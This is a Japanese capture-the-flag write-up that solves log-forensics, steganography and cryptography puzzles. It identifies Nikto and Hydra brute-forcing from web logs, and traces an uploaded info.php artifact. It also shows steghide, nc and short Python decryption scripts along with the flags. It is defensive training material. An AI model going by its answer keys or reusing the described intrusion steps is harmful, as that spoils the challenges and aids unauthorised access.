nmapの後は、niktoを使っていることがわかる。その中で最初のログで書かれているUser Agentは、"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:Port Check)"

flag{Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:Port Check)}

Iterations (Forensics 25)

ログからWeb サイトへのログイン資格情報を取得するために使われたと思われるツールを答える問題。
/login.phpへのアクセスが何回も行われている。そのときに使われていたツールはUser Agentからhydraであるとわかる。

flag{hydra}

Submission (Forensics 40)

ログからファイルシステムにアクセスするためにWeb サイトに配置したアーティファクトを答える問題。
ログの最後の方で、/file-upload.phpへのアクセスがある。その後、/upload/info.phpへのアクセスがあることから、info.phpをアップロードしたと推測できる。

flag{info.php}

The Goodest Boy (Steganography 20)

jpgの末尾に以下のように書いてある。

password:borkbork
$ steghide extract -sf doggo.jpg -p borkbork
wrote extracted data to "itsasecret.pdf".

抽出できたpdfファイルにフラグが書いてあった。

flag{whos_A_g00d_boi_bork_bork}

Eye Know, Do You? (Steganography 50)

StegSolveで開き、Random colour mapを何回か見ると、フラグが見えてきた。

flag{Deadface_Knows_All_Sees_All}

Life's a Glitch (Steganography 50)

アニメーションGIFになっている。Honeyviewで見ると、23コマ目に薄くフラグが見えた。Giamでこの画像を抽出すると、フラグが見えた。

flag{c0rrupt3d!}

Pandora's Box (Cryptography 5)

画像に書いてある数字の分だけ左にシフトする。

#!/usr/bin/env python3
import string

chars = string.ascii_lowercase
enc = 'guvz_qgz_pfv_tvb'
key = '3686_526_814_518'

flag = ''
for i in range(len(enc)):
    if enc[i] != '_':
        idx = chars.index(enc[i]) - int(key[i])
        flag += chars[idx]
    else:
        flag += enc[i]

flag = 'flag{%s}' % flag
print(flag)
flag{dont_let_her_out}

"D" is for Dumb Mistakes (Cryptography 15)

通常のRSA暗号で、dを算出する。

#!/usr/bin/env python3
from Crypto.Util.number import *

p = 1049
q = 2063
e = 777887
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
flag = 'flag{d=%s}' % d
print(flag)
flag{d=1457215}

"D" if for Decryption (Cryptography 15)

"D" is for Dumb Mistakesの問題のパラメータを使って復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *
import string

enc = '992478-1726930-1622358-1635603-1385290'
enc = enc.split('-')

p = 1049
q = 2063
e = 777887
phi = (p - 1) * (q - 1)
d = inverse(e, phi)

flag = ''
for c in enc:
    m = pow(int(c), d, p * q)
    flag += string.ascii_lowercase[m - 1]

flag = 'flag{%s}' % flag
print(flag)
flag{ghost}

Going Old School (Cryptography 50)

画像にはVigenere暗号表のようなものと以下の文字列、点字が書いてある。

DT UFAWDL IQYXFKVL

点字をデコードする。

PORT 47980

ncでこのポートに接続してみる。

$ nc env.deadface.io 47980
GOBLINS

このキーで暗号化されていると推測し、テーブルを見ながら復号する。

WE STRIKE TOMORROW
flag{WE STRIKE TOMORROW}

Ozymandias (Cryptography 50)

CyberChefのMagicでデコードする。

My name is Ozymandias, Dude of Dudes;.flag{Check out my skillz, you Buff Bros, and COME UNGLUED!}.
flag{Check out my skillz, you Buff Bros, and COME UNGLUED!}

Two Dead Boys (Cryptography 50)

Vigenere暗号と推測し、https://www.dcode.fr/vigenere-cipherで復号する。鍵はNEWSFLASH。

The solution to Fake News is flag{Critical Thinking: Question EVERYTHING!}
flag{Critical Thinking: Question EVERYTHING!}